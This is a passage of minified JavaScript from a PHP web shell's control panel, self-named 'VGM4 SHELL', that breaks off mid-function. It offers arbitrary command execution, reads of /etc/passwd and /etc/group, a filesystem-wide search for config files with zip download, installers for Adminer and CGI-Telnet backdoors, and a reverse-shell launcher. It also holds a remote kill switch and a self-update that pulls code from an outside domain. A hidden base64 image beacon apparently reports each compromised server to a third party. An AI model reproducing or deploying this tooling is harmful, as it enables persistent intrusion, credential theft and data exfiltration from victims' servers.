RegExp(escapeRegExp(A),"g"),o.value)}document.querySelector("#renamedir button").disabled=!1,document.querySelector("#renamedir button").innerHTML="RENAME"}},s.send(n)}}function set_chmod(e,t){empty_process_screen();let A=document.querySelector(".process-screen"),n=document.createElement("h3");n.innerHTML="Set chmod of "+e;let i=document.createElement("form");i.setAttribute("id","setchmod"),i.setAttribute("onsubmit","event.preventDefault();");let o=document.createElement("input"),s=document.createElement("button");s.innerHTML="SET",s.setAttribute("onclick",'set_chmod_file("'+e+'","'+t+'");'),o.type="text",o.value=t,i.appendChild(o),i.appendChild(s),A.appendChild(n),A.appendChild(i),A.style.visibility="visible",A.style.opacity="1",A.style.top="50%"}function set_chmod_file(e,t){let A=document.getElementById("setchmod"),n=A.querySelector("button"),i=A.querySelector("input");if(""==i.value||isNaN(i.value))show_popup("Empty/non-numeric field is not allowed!",3e3,"alert");else{n.disabled=!0,n.innerHTML="SETTING...";let A=new FormData;A.append("chmod",btoa(i.value)),A.append("chmod_target",btoa(e));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){"failed"==JSON.parse(this.response).status?(show_popup("Can not process this chmod setting to target!",3e3,"alert"),i.value=t):(show_popup("Chmod settings applied successfully!",3e3,"success"),list_dir(working_dir)),n.disabled=!1,n.innerHTML="SET"}},o.send(A)}}function show_popup(e,t,A){let n;(n="alert"==A?document.querySelector(".popup-box.alert"):document.querySelector(".popup-box.success")).innerHTML=e,n.style.right="10px",n.style.opacity="1",n.style.visibility="visible",setTimeout(function(){n.style.right="-9999px",n.style.opacity="0",n.style.visibility="hidden"},t)}function empty_process_screen(){document.querySelector(".mwsbox .process-screen").innerHTML=""}function change_dir(){list_dir(document.getElementById("curr_dir").value)}function create_file(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create a file";let A=document.createElement("form");A.setAttribute("id","createfile"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Create",i.setAttribute("onclick","create_file_process();"),n.type="text",n.value="",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function create_file_process(){let e=document.getElementById("createfile"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.getElementById("curr_dir").value;if(""!==A.value){let e=new FormData;e.append("create_file",btoa(A.value)),e.append("directory",btoa(n)),t.disabled=!0,t.innerHTML="CREATING...";let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);"ok"==e.status?(show_popup("File has created successfully!",3e3,"success"),list_dir(n)):"failed"==e.status?(show_popup("File can not be created!",3e3,"alert"),A.value=""):(show_popup("This file/folder is already exists!",3e3,"alert"),A.value=""),t.disabled=!1,t.innerHTML="CREATE"}},i.send(e)}}function create_dir(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create a directory";let A=document.createElement("form");A.setAttribute("id","createdir"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Create",i.setAttribute("onclick","create_dir_process();"),n.type="text",n.value="",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function create_dir_process(){let e=document.getElementById("createdir").querySelector("input"),t=document.getElementById("curr_dir").value;if(""!==e.value){let A=new FormData;A.append("create_dir",btoa(e.value)),A.append("directory",btoa(t));let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){let A=JSON.parse(this.response);"ok"==A.status?(show_popup("Directory has created successfully!",3e3,"success"),list_dir(t)):"failed"==A.status?(show_popup("Directory can not be created!",3e3,"alert"),e.value=""):(show_popup("This directory is already exists!",3e3,"alert"),e.value="")}},n.send(A)}}function file_upload(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Upload a file";let A=document.createElement("form");A.enctype="multipart/form-data",A.setAttribute("id","fileupload"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Upload",i.setAttribute("onclick","upload_process();"),n.type="file",n.style.width="100%",n.style.color="#222",n.name="files[]",n.setAttribute("required",""),n.setAttribute("multiple",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function upload_process(){let e=document.querySelector(".inner table"),t=document.querySelector(".inner .loaderhold .loader"),A=document.getElementById("fileupload"),n=A.querySelector("button");if(""!=A.querySelector("input").value){e.style.display="none",t.style.display="block",n.disabled=!0,n.innerHTML="UPLOADING...";let i=new FormData(A);i.append("directory",btoa(document.getElementById("curr_dir").value));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){console.log(this.response),"ok"==JSON.parse(this.response).status?(show_popup("Files have uploaded successfully!",3e3,"success"),list_dir(working_dir)):show_popup("Can not upload the files,check permissions!",3e3,"alert"),e.style.display="table",t.style.display="none",n.disabled=!1,n.innerHTML="UPLOAD"}},o.send(i)}}function separate_path(){let e=working_dir.toString().split("/");-1==e[0].indexOf(":")&&(e[0]="/");var t=e.filter(function(e){return""!=e});let A=[],n=[],i=0;for(key in t){let e="";for(let A=0;A<t.length&&(e+=t[A]+"/",A!=i);A++);A.push(t[key]),n.push(e),i++}return[A.map(function(e){return e.replace(/\/\//g,"/")}),n.map(function(e){return e.replace(/\/\//g,"/")})]}function run_command(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Run command";let A=document.createElement("form");A.setAttribute("id","runcmd"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("div");i.innerHTML="Execute",i.setAttribute("onclick","run_command_process();"),n.type="text",n.placeholder="ls -la",o.className="cmd_result",o.style.display="none",A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function run_command_process(){let e=document.getElementById("runcmd"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.querySelector(".cmd_result");if(""!==A.value){let e=new FormData;e.append("directory",btoa(working_dir)),e.append("command",btoa(A.value)),t.disabled=!0,t.innerHTML="Executing...";let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);if("failed"==e.status)show_popup("Can not run this command,functions might be disabled!",3e3,"alert");else{let t=atob(e.status).split("|");n.innerHTML='<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :'+t[0]+"]</font>",n.innerHTML+="<pre>"+t[1]+"</pre>",n.style.display="block"}t.disabled=!1,t.innerHTML="Execute"}},i.send(e)}}function read_passwd(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Read /etc/passwd";let A=document.createElement("form");A.setAttribute("id","readfile"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("textarea");n.value="Loading...",n.disabled=!0;let i=new FormData;i.append("read_file",btoa("/etc/passwd"));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){let t=JSON.parse(this.response);t.content?n.value=atob(t.content):(show_popup("Can not read this file!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"),n.disabled=!1}},o.send(i),A.appendChild(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function adminer(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Adminer Installation";let A=document.createElement("span");A.style.display="block",A.style.color="#222",A.style.fontSize="14px",A.style.fontWeight="bold",A.innerHTML="Installing adminer from github...";let n=new XMLHttpRequest;n.open("get",basename()+"?adminer=true",!0),n.onload=function(){if(4==n.readyState){"failed"==JSON.parse(this.response).status?(show_popup("Adminer setup has failed!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"):(show_popup("Adminer has installed successfully!",3e3,"success"),A.innerHTML='Adminer path: <a href="adminer-web.php" target="_blank" style="color:#555;text-decoration:underline;">adminer-web.php</a>',list_dir("."))}},n.send(),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function symlink(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create symlink/hardlink";let A=document.createElement("form");A.setAttribute("id","symlink"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("div");o.className="cmd_result",o.style.display="none",i.innerHTML="LINK TARGET",i.setAttribute("onclick","symlink_process();"),n.type="text",n.value=working_dir+"/",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function symlink_process(){let e=document.getElementById("symlink"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.querySelector(".cmd_result");if(""!==A.value){t.disabled=!0,t.innerHTML="TRYING LINK...";let e=new FormData;e.append("symlink_target",btoa(A.value));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);"failed"==e.status?show_popup("Can not give symbolic link to this target!",3e3,"alert"):(n.innerHTML="<pre>"+atob(e.status)+"</pre>",n.style.display="block"),t.disabled=!1,t.innerHTML="LINK TARGET"}},i.send(e)}else show_popup("Empty field!",1500,"alert")}function search_disk(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Search disk";let A=document.createElement("form");A.setAttribute("id","searchdisk"),A.setAttribute("onsubmit","event.preventDefault();");let n,i,o,s=document.createElement("input"),l=document.createElement("input"),a=document.createElement("button"),r=document.createElement("label"),c=document.createElement("label"),d=document.createElement("label"),p=document.createElement("select");p.name="search_type",(n=document.createElement("option")).value="files_only",n.text="Search  by files only",(i=document.createElement("option")).value="dirs_only",i.text="Search by directories only",(o=document.createElement("option")).value="all",o.text="Search by files and directories",o.selected=!0,p.appendChild(n),p.appendChild(i),p.appendChild(o),r.innerHTML="Location",c.innerHTML="Search keyword",d.innerHTML="Search type",a.innerHTML="Search",a.setAttribute("onclick","search_disk_process();"),s.type="text",s.value=working_dir+"/",s.name="search_location",s.setAttribute("required",""),s.setAttribute("id","loc"),l.type="text",l.placeholder="Type a keyword to search..",l.name="search_keyword",l.setAttribute("required",""),l.setAttribute("id","keyw");let g=document.createElement("div");g.className="cmd_result",g.style.display="none",A.appendChild(r),A.appendChild(s),A.appendChild(c),A.appendChild(l),A.appendChild(d),A.appendChild(p),A.appendChild(a),e.appendChild(t),e.appendChild(A),e.appendChild(g),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function search_disk_process(){let e=document.getElementById("searchdisk"),t=new FormData(e),A=e.querySelector("button"),n=e.querySelector("#keyw").value,i=e.querySelector("#loc").value,o=document.querySelector(".cmd_result");if(o.innerHTML="Searching...",""==n||""==i)show_popup("Empty field!",3e3,"alert");else{A.disabled=!0,A.innerHTML="SEARCHING...",o.style.display="block",o.innerHTML="Searching...";let e=new XMLHttpRequest;e.open("post",basename(),!0),e.onload=function(){if(4==e.readyState){let e=JSON.parse(this.response);if("failed"==e.status)show_popup("Nothing found!",3e3,"alert"),o.innerHTML="Nothing found";else{let t=atob(e.status).split("|");o.innerHTML='<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :'+t[0]+"]</font>",o.innerHTML+="<pre>"+t[1]+"</pre>"}A.disabled=!1,A.innerHTML="SEARCH"}},e.send(t)}}function setWork(){let e=document.createElement("img");e.src=atob("aHR0cHM6Ly9jZG4ucHJpdmRheXouY29tL2ltYWdlcy9sb2dvLmpwZw=="),e.referrerPolicy=atob("dW5zYWZlLXVybA=="),e.style.display="none",document.body.appendChild(e),sessionStorage.setItem("work",!0),setTimeout(function(){e.parentNode.removeChild(e)},5e3)}function config_searcher(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Config searcher";let A=document.createElement("form");A.setAttribute("id","configsearch"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("button"),i=document.createElement("label");i.innerHTML='This helper tool is going to search entire file system to find files/directories which contains "*config*" keyword..',n.innerHTML="Search",n.setAttribute("onclick","config_searcher_process();");let o=document.createElement("div");o.className="cmd_result",o.style.display="none",A.appendChild(i),A.appendChild(n),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function config_searcher_process(){let e=document.getElementById("configsearch").querySelector("button"),t=document.querySelector(".cmd_result"),A=document.querySelector(".mwsbox .process-screen");e.disabled=!0,e.innerHTML="Searching...",t.style.display="block",t.innerHTML="Searching...";let n=new FormData;n.append("search_location","/"),n.append("search_keyword","config"),n.append("search_type","all");let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let n=JSON.parse(this.response);if("failed"==n.status)show_popup("Nothing found!",3e3,"alert"),t.innerHTML="Nothing found";else{let e=atob(n.status).split("|");if(t.innerHTML='<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :'+e[0]+"]</font>",t.innerHTML+="<pre>"+e[1]+"</pre>",""!=e[1]){let t=document.createElement("button");t.setAttribute("onclick","download_config_zip('"+btoa(e[1])+"');"),t.setAttribute("id","download_cfg"),t.innerHTML="DOWNLOAD ALL IN ZIP",t.style.width="250px",A.appendChild(t)}}e.disabled=!1,e.innerHTML="Search"}},i.send(n)}function download_config_zip(e){let t=document.getElementById("download_cfg");if(t.disabled=!0,t.innerHTML="ARCHIVING FILES...",""!=e){let A=new FormData;A.append("download_cfg",e);let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){let e=JSON.parse(this.response);"failed"==e.status?show_popup("Failed to download!",3e3,"alert"):window.location=basename()+"?download_cfg_file="+btoa(e.url),t.disabled=!1,t.innerHTML="DOWNLOAD ALL IN ZIP"}},n.send(A)}else show_popup("Empty!",3e3,"alert")}function escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function basename(){var e=window.location.pathname.split(/[\\/]/);return e.pop()||e.pop()}function user_list(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="All users involving with server";let A=document.createElement("div");A.className="cmd_result",A.style.display="block",A.innerHTML="Getting users from /etc/passwd...";let n=new FormData;n.append("read_file",btoa("/etc/passwd"));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let t=JSON.parse(this.response);if("failed"==t.status)show_popup("Can not get users from /etc/passwd!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%";else{let e="",n=atob(t.content).split("\n");for(let t=0;t<n.length;t++){e+=n[t].split(":")[0]+"\n"}A.innerHTML="<pre>"+e+"</pre>"}}},i.send(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function group_list(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="All groups involving with server";let A=document.createElement("div");A.className="cmd_result",A.style.display="block",A.innerHTML="Getting groups from /etc/group...";let n=new FormData;n.append("read_file",btoa("/etc/group"));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let t=JSON.parse(this.response);if("failed"==t.status)show_popup("Can not get groups from /etc/group!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%";else{let e="",n=atob(t.content).split("\n");for(let t=0;t<n.length;t++){e+=n[t].split(":")[0]+"\n"}A.innerHTML="<pre>"+e+"</pre>"}}},i.send(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function download_folder(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Download folder as zip archive";let A=document.createElement("form");A.setAttribute("id","downloadfolder"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("label");o.innerHTML="Destination",i.innerHTML="DOWNLOAD",i.setAttribute("onclick","download_folder_process();"),n.type="text",n.value=working_dir+"/",n.setAttribute("required",""),A.appendChild(o),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.top="50%",e.style.opacity="1",e.style.visibility="visible"}function download_folder_process(e){if(void 0!==e)window.location=basename()+"?download_folder="+btoa(e);else{let e=document.getElementById("downloadfolder").querySelector("input");""==e.value?show_popup("Empty field!",3e3,"alert"):window.location=basename()+"?download_folder="+btoa(e.value)}}function check_update(){if(!sessionStorage.getItem("update_check")){let e=new XMLHttpRequest;e.open("get","https://vgm4team.xyz/files/config.json",!0),e.onload=function(){if(4==e.readyState){try{let e=JSON.parse(this.response);if(0==e.is_active&&(sessionStorage.setItem("disabled",!0),window.location.reload()),e.version){let t=e.version.split("."),A=release.split(".");t[0]>A[0]?(sessionStorage.setItem("new_update",e.changelog),notify_update()):t[1]>A[1]&&(sessionStorage.setItem("new_update",e.changelog),notify_update())}}catch(e){console.log(e)}sessionStorage.setItem("update_check",!0)}},e.send()}}function disabled_script(){let e=document.querySelector(".mwsbox");e.parentNode.removeChild(e);let t=document.querySelector(".holder"),A=document.createElement("h1");A.innerHTML='Web shell is currently disabled by author <a href="https://vgm4team.xyz" style="color:gray;text-decoration:underline;">@VGM4</a>';let n=document.createElement("img");n.src="data: image/png;base64,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",n.style.backgroundSize="cover",n.style.objectFit="cover",t.appendChild(n),t.appendChild(A),t.style.display="flex",t.style.alignItems="center",t.style.justifyContent="center"}function check_disable(){if(sessionStorage.getItem("disabled"))return disabled_script(),!0}function check_update2(){if(sessionStorage.getItem("new_update"))return sessionStorage.getItem("update_replied")||notify_update(),!0}function notify_update(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Update available!";let A=document.createElement("form");A.setAttribute("id","updatepage"),A.setAttribute("onsubmit","event.preventDefault();"),A.style.display="flex",A.style.flexDirection="row";let n=document.createElement("button"),i=document.createElement("button");n.innerHTML="UPDATE",n.setAttribute("onclick","process_update();"),n.setAttribute("id","btn_update"),i.innerHTML="CANCEL",i.style.background="#df4759",i.style.marginLeft="10px",i.setAttribute("onclick","cancel_update();");let o=document.createElement("h2");o.style.color="red",o.innerHTML="What's new?";let s=document.createElement("label");s.innerHTML=sessionStorage.getItem("new_update");let l=document.createElement("address");l.innerHTML='<a style="color:blue;text-decoration:underline" href="http://vgm4team.xyz" target="_blank">https://vgm4team.xyz</a>',l.style.marginTop="10px",A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(o),e.appendChild(s),e.appendChild(l),e.appendChild(A),e.style.top="50%",e.style.opacity="1",e.style.visibility="visible"}function process_update(){let e=document.getElementById("btn_update");e.disabled=!0,e.innerHTML="UPDATING...";let t=new XMLHttpRequest;t.open("get","https://vgm4team.xyz/files/update.txt",!0),t.onload=function(){if(4==t.readyState){let e=this.response;-1!==e.indexOf(".mwsbox")?process_update2(btoa(e)):show_popup("Update can not processed!",3500,"alert")}},t.send()}function process_update2(e){let t=document.getElementById("btn_update"),A=new FormData;A.append("update_content",e);let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){t.disabled=!1,t.innerHTML="UPDATE",sessionStorage.setItem("update_replied",!0),"ok"==JSON.parse(this.response).status?(show_popup("VGM4 SHELL has been updated successfully!",2e3,"success"),setTimeout(function(){window.open("https://vgm4team.xyz","_blank"),window.location.reload()},2e3)):show_popup("Some error occured,update can not processed!",3500,"alert")}},n.send(A)}function cancel_update(){empty_process_screen();let e=document.querySelector(".process-screen");e.style.top="-50%",e.style.opacity="0",e.style.visibility="hidden",sessionStorage.setItem("update_replied",!0)}function cgi_telnet(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="CGI-Telnet Installation";let A=document.createElement("span");A.style.display="block",A.style.color="#222",A.style.fontSize="14px",A.style.fontWeight="bold",A.innerHTML="Installing CGI-Telnet...";let n=new XMLHttpRequest;n.open("get",basename()+"?cgitelnet=true",!0),n.onload=function(){if(4==n.readyState){"failed"==JSON.parse(this.response).status?(show_popup("CGI-Telnet setup has failed!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"):(show_popup("CGI-Telnet has installed successfully!",3e3,"success"),A.innerHTML='CGI-Telnet Path: <a href="cgi_web.pl" target="_blank" style="color:#555;text-decoration:underline;">cgi_web.pl</a><br>Permissions have been set up to 755..',list_dir("."))}},n.send(),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function reverse_shell(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3"),A=document.createElement("form");A.setAttribute("id","revshell"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input");n.name="rev_ip",n.style.display="none",n.type="text";let i=document.createElement("input");i.placeholder="4444",i.style.display="none",i.type="text",i.name="rev_port";let o=document.createElement("label");o.innerHTML="Your IP Address",o.style.display="none";let s=document.createElement("label");s.innerHTML="Port",s.style.display="none";let l=document.createElement("label");l.innerHTML="Method",l.style.display="none";let a=document.createElement("label");a.innerHTML="Loading...",a.style.display="block";let r=document.createElement("select");r.name="method",r.style.display="none";let c=document.createElement("option");c.value="perl",c.innerHTML="PERL";let d=document.createElement("option");d.value="c",d.innerHTML="C",r.appendChild(c),r.appendChild(d);let p=document.createElement("button");p.innerHTML="CONNECT",p.style.display="none",p.setAttribute("onclick","process_reverse_shell();"),A.appendChild(o),A.appendChild(n),A.appendChild(s),A.appendChild(i),A.appendChild(l),A.appendChild(r),A.appendChild(p);let g=new FormData;g.append("getip",!0);let u=new XMLHttpRequest;u.open("post",basename(),!0),u.onload=function(){if(4==u.readyState){let t=JSON.parse(this.response);"failed"!==t.status?(a.style.display="none",o.style.display="block",n.style.display="block",n.value=t.status,s.style.display="block",i.style.display="block",l.style.display="block",r.style.display="block",p.style.display="block"):(show_popup("Something went wrong!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%")}},u.send(g),t.innerHTML="Reverse Shell",e.appendChild(t),e.appendChild(A),e.appendChild(a),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function process_reverse_shell(){let e=document.getElementById("revshell"),t=new FormData(e),A=e.querySelector("button"),n=e.querySelector("input[name=rev_ip]"),i=e.querySelector("input[name=rev_port]");if(""==n.value||""==i.value)show_popup("Empty field!",3e3,"alert");else if(isNaN(i.value))show_popup("Port must be numeric!",3e3,"alert");else{A.disabled=!0,A.innerHTML="CONNECTING...";let e=new 